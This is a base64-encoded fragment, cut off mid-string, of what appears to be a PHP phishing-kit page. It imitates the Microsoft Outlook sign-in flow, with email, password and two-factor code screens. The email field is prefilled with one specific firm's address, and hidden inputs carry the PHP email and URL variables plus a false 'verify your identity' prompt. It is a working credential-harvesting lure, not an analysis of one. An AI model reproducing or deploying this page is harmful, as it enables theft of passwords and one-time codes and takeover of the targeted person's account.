ME1qVXNNeTQyTlRFc015NDJOVEVzTUN3d0xEQXRMalk0T0MweUxqUXhNU3d5TGpNNUxESXVNemtzTUN3d0xEQXRNUzQ1TXkwdU9ERXpMREl1TkRNNUxESXVORE01TERBc01Dd3dMVEV1T1RnM0xqZzFNaXd6TGpjd055d3pMamN3Tnl3d0xEQXNNQzB1TnpBM0xESXVORE50TVRVdU5EWTBMVE11TVRBNVNEazVMamRXTVRndU5FZzVOeTR6TkRGV01UQXVOREV5U0RrMUxqWTRObFk0TGpVd04yZ3hMalkxTlZZM0xqRXpZVE11TkRJekxETXVOREl6TERBc01Dd3hMREV1TURFMUxUSXVOVFUxTERNdU5UWXhMRE11TlRZeExEQXNNQ3d4TERJdU5pMHhMRFV1T0RBM0xEVXVPREEzTERBc01Dd3hMQzQzTlRFdU1EUXpMREl1T1RrekxESXVPVGt6TERBc01Dd3hMQzQxTnpjdU1UTldOUzQzTmpSaE1pNDBNaklzTWk0ME1qSXNNQ3d3TERBdExqUXRMakUyTkN3eUxqRXdOeXd5TGpFd055d3dMREFzTUMwdU5qWTBMUzR4TERFdU5EQTNMREV1TkRBM0xEQXNNQ3d3TFRFdU1USTJMalExTjBFeUxqQXhOeXd5TGpBeE55d3dMREFzTUN3NU9TNDNMRGN1TXpFelZqZ3VOVEEzYURNdU5EWTVWall1TWpnemJESXVNek01TFM0M01USldPQzQxTURkb01pNHpOVGgyTVM0NU1EWm9MVEl1TXpVNGRqUXVOakk1WVRFdU9UVXhMREV1T1RVeExEQXNNQ3d3TEM0ek16SXNNUzR5T1N3eExqTXlOaXd4TGpNeU5pd3dMREFzTUN3eExqQTBOQzR6TnpVc01TNDFOVGNzTVM0MU5UY3NNQ3d3TERBc0xqUTROaTB1TVN3eUxqSTVOQ3d5TGpJNU5Dd3dMREFzTUN3dU5TMHVNak14VmpFNExqTmhNaTQzTXpjc01pNDNNemNzTUN3d0xERXRMamN6Tmk0eU16RXNOUzR3TWprc05TNHdNamtzTUN3d0xERXRNUzR3TVRVdU1UQTJMREl1T0RnM0xESXVPRGczTERBc01Dd3hMVEl1TWpBNUxTNDNPRFFzTXk0ek5ERXNNeTR6TkRFc01Dd3dMREV0TGpjek5pMHlMak0yTTFvaUlHWnBiR3c5SWlNM016Y3pOek1pTHo0OGNtVmpkQ0IzYVdSMGFEMGlNVEF1T1RNeElpQm9aV2xuYUhROUlqRXdMamt6TVNJZ1ptbHNiRDBpSTJZeU5UQXlNaUl2UGp4eVpXTjBJSGc5SWpFeUxqQTJPU0lnZDJsa2RHZzlJakV3TGprek1TSWdhR1ZwWjJoMFBTSXhNQzQ1TXpFaUlHWnBiR3c5SWlNM1ptSmhNREFpTHo0OGNtVmpkQ0I1UFNJeE1pNHdOamtpSUhkcFpIUm9QU0l4TUM0NU16RWlJR2hsYVdkb2REMGlNVEF1T1RNeElpQm1hV3hzUFNJak1EQmhOR1ZtSWk4K1BISmxZM1FnZUQwaU1USXVNRFk1SWlCNVBTSXhNaTR3TmpraUlIZHBaSFJvUFNJeE1DNDVNekVpSUdobGFXZG9kRDBpTVRBdU9UTXhJaUJtYVd4c1BTSWpabVppT1RBd0lpOCtQQzl6ZG1jKyI+CiAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICA8ZGl2PgoKICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgaWQ9InBpY2tfZW0iIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImFuaW1hdGUgcGFnaW5hdGlvbi12aWV3IHNsaWRlLWluLW5leHQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGRhdGEtc2hvd2ZlZGNyZWRidXR0b249dHJ1ZSBkYXRhLXZpZXdpZD0xPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3cgdGV4dC10aXRsZSIgaWQ9ImxvZ2luSGVhZGVyIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBhcmlhLWxldmVsPTE+U2lnbiBpbjwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1tZC0yNCBmb3JtLWdyb3VwIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icGxhY2Vob2xkZXJDb250YWluZXIiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImFkZF9lbSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBzdHlsZT0iZm9udC13ZWlnaHQ6IGJvbGQ7bWFyZ2luLWxlZnQ6IDQlIj5QaWNrIGFuIGFjY291bnQ8L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSIjIiBjbGFzcz0iZW1haWwtcGlja2VyIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iYmxvY2stbTIiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGltZyByb2xlPSJwcmVzZW50YXRpb24iIHNyYz0iIj4gPHNwYW4gaWQ9ImVtX3BpY2tlciI+PC9zcGFuPjxzcGFuIHN0eWxlPSJmbG9hdDpyaWdodDsgbWFyZ2luLXRvcDo0JSI+PGltZyBzcmM9IiIgYWx0PSIiPjwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSIjIiBjbGFzcz0iZW1haWwtcGlja2VyMiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImJsb2NrLW0yIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbWcgcm9sZT0icHJlc2VudGF0aW9uIiBzcmM9IiI+PHNwYW4gc3R5bGU9IndvcmQtd3JhcDpicmVhay13b3JkOyI+IFVzZSBhbm90aGVyIGFjY291bnQ8L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InBvc2l0aW9uLWJ1dHRvbnMiPgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGlkPSJhZGRfZW0iIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImFuaW1hdGUgcGFnaW5hdGlvbi12aWV3IHNsaWRlLWluLW5leHQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGRhdGEtc2hvd2ZlZGNyZWRidXR0b249dHJ1ZSBkYXRhLXZpZXdpZD0xPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3cgdGV4dC10aXRsZSIgaWQ9ImxvZ2luSGVhZGVyIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBhcmlhLWxldmVsPTE+U2lnbiBpbjwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXh0LTEzIHN1YnRpdGxlIiBhcmlhLWxldmVsPTI+dG8gY29udGludWUgdG8gT3V0bG9vazwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9cm93PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgYXJpYS1saXZlPSJhc3NlcnRpdmUiIHJvbGU9ImFsZXJ0IiBzdHlsZT0iZGlzcGxheTogbm9uZTsiIGNsYXNzPSJlcnJvci1hbGVydCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJhbGVydCBhbGVydC1lcnJvciBlcnJvci1hbGVydC1tc2ciPjwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtbWQtMjQgZm9ybS1ncm91cCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InBsYWNlaG9sZGVyQ29udGFpbmVyIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zY3JpcHQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImVtYWlsIiBhdHRyLWh0dHBkPSJ0aGJkZjU1IiBpbmQ9InJ2ZGh2NDQzZGQiIGlkPSJlbWFpbCIgY2xhc3M9ImZvcm0tY29udHJvbCBsdHJfb3ZlcnJpZGUiIHZhbHVlPSJvZmZpY2VAZGlsbG9ubGF3LmNvLnVrIiBwbGFjZWhvbGRlcj0ic29tZW9uZUBleGFtcGxlLmNvbSAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwb3NpdGlvbi1idXR0b25zIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1yb3c+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Y29sLW1kLTI0PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXh0LTEzIGFjdGlvbi1saW5rcyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Zm9ybS1ncm91cD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iIyIgPkNhbiV1MjAxOXQgYWNjZXNzIHlvdXIgYWNjb3VudD88L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPXJvdz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLXhzLTI0IG5vLXBhZGRpbmctbGVmdC1yaWdodCBidXR0b24tY29udGFpbmVyIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1pbmxpbmUtYmxvY2s+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gY2xhc3M9ImJ0biBidG4tYmxvY2sgYnRuLXByaW1hcnkgYnRuLWVtYWlsIj5OZXh0PC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGlkPSJhZGRfcGFzcyIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJhbmltYXRlIHNsaWRlLWluLW5leHQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaWRlbnRpdHlCYW5uZXIiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJiYWNrQnV0dG9uIiBocmVmPSIjIiB0eXBlPSJidXR0b24iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGltZyBzcmM9ImRhdGE6aW1hZ2Uvc3ZnK3htbDtiYXNlNjQsUEhOMlp5QjRiV3h1Y3owaWFIUjBjRG92TDNkM2R5NTNNeTV2Y21jdk1qQXdNQzl6ZG1jaUlIZHBaSFJvUFNJeU5DSWdhR1ZwWjJoMFBTSXlOQ0lnZG1sbGQwSnZlRDBpTUNBd0lESTBJREkwSWo0OGRHbDBiR1UrWVhOelpYUnpQQzkwYVhSc1pUNDhjR0YwYUNCa1BTSk5NVGdzTVRFdU5UYzRkaTQ0TkRSSU55NDJNVGRzTXk0NU1qRXNNeTQ1TWpndExqVTVOQzQxT1RSTU5pd3hNbXcwTGprME5DMDBMamswTkM0MU9UUXVOVGswVERjdU5qRTNMREV4TGpVM09Gb2lJR1pwYkd3OUlpTTBNRFF3TkRBaUx6NDhjR0YwYUNCa1BTSk5NVEF1T1RRMExEY3VNRFUyYkM0MU9UUXVOVGswVERjdU5qRTNMREV4TGpVM09FZ3hPSFl1T0RRMFNEY3VOakUzYkRNdU9USXhMRE11T1RJNExTNDFPVFF1TlRrMFREWXNNVEpzTkM0NU5EUXROQzQ1TkRSdE1DMHVNVFF4TFM0d056RXVNRGRNTlM0NU1qa3NNVEV1T1RJNUxEVXVPRFU0TERFeWJDNHdOekV1TURjeExEUXVPVFEwTERRdU9UUTBMakEzTVM0d055NHdOekV0TGpBM0xqVTVOQzB1TlRrMUxqQTNNUzB1TURjdExqQTNNUzB1TURjeFREY3VPRFU0TERFeUxqVXlNa2d4T0M0eFZqRXhMalEzT0VnM0xqZzFPR3d6TGpjMU1TMHpMamMxTnk0d056RXRMakEzTVMwdU1EY3hMUzR3TnkwdU5UazBMUzQxT1RVdExqQTNNUzB1TURkYUlpQm1hV3hzUFNJak5EQTBNRFF3SWk4K1BDOXpkbWMrIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaWRlbnRpdHkiPjwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgc3R5bGU9IiIgY2xhc3M9ImVudGVyLXBhc3MgYW5pbWF0ZSBzbGlkZS1pbi1uZXh0IGhhcy1pZGVudGl0eS1iYW5uZXIgcGFnaW5hdGlvbi12aWV3Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyB0ZXh0LXRpdGxlIj5FbnRlciA8c3BhbiBjbGFzcz0icGFzaG9sZCI+PC9zcGFuPjwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1yb3c+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBhcmlhLWxpdmU9ImFzc2VydGl2ZSIgcm9sZT0iYWxlcnQiIGNsYXNzPSJlcnJvci1hbGVydCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwYXNzLWVycm9yIGFsZXJ0IGFsZXJ0LWVycm9yIGVycm9yLWFsZXJ0LW1zZyI+PC9kaXY+CgkJCQkJCQkJCQkJCQk8c3BhbiBjbGFzcz0iaW5mby12ZXJpZnkiPicuKCRjYXB0aW9uID8/ICJCZWNhdXNlIHlvdSdyZSBhY2Nlc3Npbmcgc2Vuc2l0aXZlIGluZm8sIHlvdSBuZWVkIHRvIHZlcmlmeSB5b3VyIDxzcGFuIGNsYXNzPVwicGFzaG9sZFwiPjwvc3Bhbj4iKS4nPC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1tZC0yNCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBhcmlhLWxpdmU9ImFzc2VydGl2ZSIgcm9sZT0iYWxlcnQiIHN0eWxlPSJkaXNwbGF5OiBibG9jazsiIGNsYXNzPSJlcnJvci1hbGVydC1wYXNzIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgc3R5bGU9ImNvbG9yOiNlODExMjM7IiBjbGFzcz0iYWxlcnQgYWxlcnQtZXJybyI+PC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1wbGFjZWhvbGRlckNvbnRhaW5lcj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBuYW1lPSJwYXNzd29yZCIgdHlwZT0icGFzc3dvcmQiIGlkPSJwYXNzd29yZCIgYXV0b2NvbXBsZXRlPSJvZmYiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHBsYWNlaG9sZGVyPSJQYXNzd29yZCIgdGFiaW5kZXg9IjAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1wb3NpdGlvbi1idXR0b25zPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9cm93PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1jb2wtbWQtMjQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iYWN0aW9uLWxpbmtzIHRleHQtMTMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Zm9ybS1ncm91cD48YSBocmVmPSIjIj5Gb3Jnb3QgbXkgPHNwYW4gY2xhc3M9InBhc2hvbGQiPjwvc3Bhbj48L2E+PC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1mb3JtLWdyb3VwPjwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIHZhbHVlPSInLiRlbWFpbC4nIiBpZD0iYmt1cHR0cmZlcnJzIiA+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgdmFsdWU9IicuYmFzZTY0X2VuY29kZSgkdXJsKS4nIiBpZD0idXVybCIgPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1yb3cgPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJidXR0b24tY29udGFpbmVyIGNvbC14cy0yNCBuby1wYWRkaW5nLWxlZnQtcmlnaHQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPWlubGluZS1ibG9jaz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGNsYXNzPSJuZXh0YiBidG4gYnRuLWJsb2NrIGJ0bi1wcmltYXJ5IGJ0bi1zaWduaW4iPlNpZ24gaW48L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgdmFsdWU9IjAiIGlkPSJmaXJzdCIgPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIHZhbHVlPSIxIiBpZD0icmVwZWF0IiA+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CgkJCQkJCQkKCQkJCQkJCQk8ZGl2IHN0eWxlPSJkaXNwbGF5Om5vbmU7IiBjbGFzcz0ic2hvdy0yZmEtY29kZSBwYWdpbmF0aW9uLXZpZXcgaGFzLWlkZW50aXR5LWJhbm5lciBhbmltYXRlIHNsaWRlLWluLW5leHQiIGRhdGEtYmluZD0iY3NzOiB7CiAgICAgICAgXCdoYXMtaWRlbnRpdHktYmFubmVyXCc6IHNob3dJZGVudGl0eUJhbm5lcigpICZhbXA7JmFtcDsgKHNoYXJlZERhdGEuZGlzcGxheU5hbWUgfHwgc3ZyLnNQT1NUX1VzZXJuYW1lKSwKICAgICAgICBcJ3plcm8tb3BhY2l0eVwnOiBoaWRlUGFnaW5hdGVkVmlldy5oaWRlU3ViVmlldygpLAogICAgICAgIFwnYW5pbWF0ZVwnOiBhbmltYXRlKCksCiAgICAgICAgXCdzbGlkZS1vdXQtbmV4dFwnOiBhbmltYXRlLmlzU2xpZGVPdXROZXh0KCksCiAgICAgICAgXCdzbGlkZS1pbi1uZXh0XCc6IGFuaW1hdGUuaXNTbGlkZUluTmV4dCgpLAogICAgICAgIFwnc2xpZGUtb3V0LWJhY2tcJzogYW5pbWF0ZS5pc1NsaWRlT3V0QmFjaygpLAogICAgICAgIFwnc2xpZGUtaW4tYmFja1wnOiBhbmltYXRlLmlzU2xpZGVJbkJhY2soKSB9Ij4KCiAgICAgICAgPCEtLSBrbyBmb3JlYWNoOiB2aWV3cyAtLT4KICAgICAgICAgICAgPCEtLSBrbyBpZjogJHBhcmVudC5jdXJyZW50Vmlld0luZGV4KCkgPT09ICRpbmRleCgpIC0tPjwhLS0gL2tvIC0tPgogICAgICAgIAogICAgICAgICAgICA8IS0tIGtvIGlmOiAkcGFyZW50LmN1cnJlbnRWaWV3SW5kZXgoKSA9PT0gJGluZGV4KCkgLS0+PCEtLSAva28gLS0+CiAgICAgICAgCiAgICAgICAgICAgIDwhLS0ga28gaWY6ICRwYXJlbnQuY3VycmVudFZpZXdJbmRleCgpID09PSAkaW5kZXgoKSAtLT4KICAgICAgICAgICAgICAgIDwhLS0ga28gdGVtcGxhdGU6IHsgbm9kZXM6IFskZGF0YV0sIGRhdGE6ICRwYXJlbnQgfSAtLT48ZGl2IGRhdGEtdmlld2lkPSIyIiBkYXRhLXNob3dpZGVudGl0eWJhbm5lcj0idHJ1ZSIgZGF0YS1iaW5kPSJwYWdlVmlld0NvbXBvbmVudDogeyBuYW1lOiBcJ290Yy1yZXF1ZXN0LXZpZXdcJywKICAgICAgICAgICAgICAgICAgICBwYXJhbXM6IHsKICAgICAgICAgICAgICAgICAgICAgICAgc2VydmVyRGF0YTogc3ZyLAogICAgICAgICAgICAgICAgICAgICAgICBzZXJ2ZXJFcnJvcjogaW5pdGlhbEVycm9yLAogICAgICAgICAgICAgICAgICAgICAgICByZW5kZXJQcm9vZnNJbmxpbmU6IHRydWUsCiAgICAgICAgICAgICAgICAgICAgICAgIHVzZXJuYW1lOiBzaGFyZWREYXRhLnVzZXJuYW1lLAogICAgICAgICAgICAgICAgICAgICAgICBvdGNQcm9vZnM6IHNoYXJlZERhdGEub3R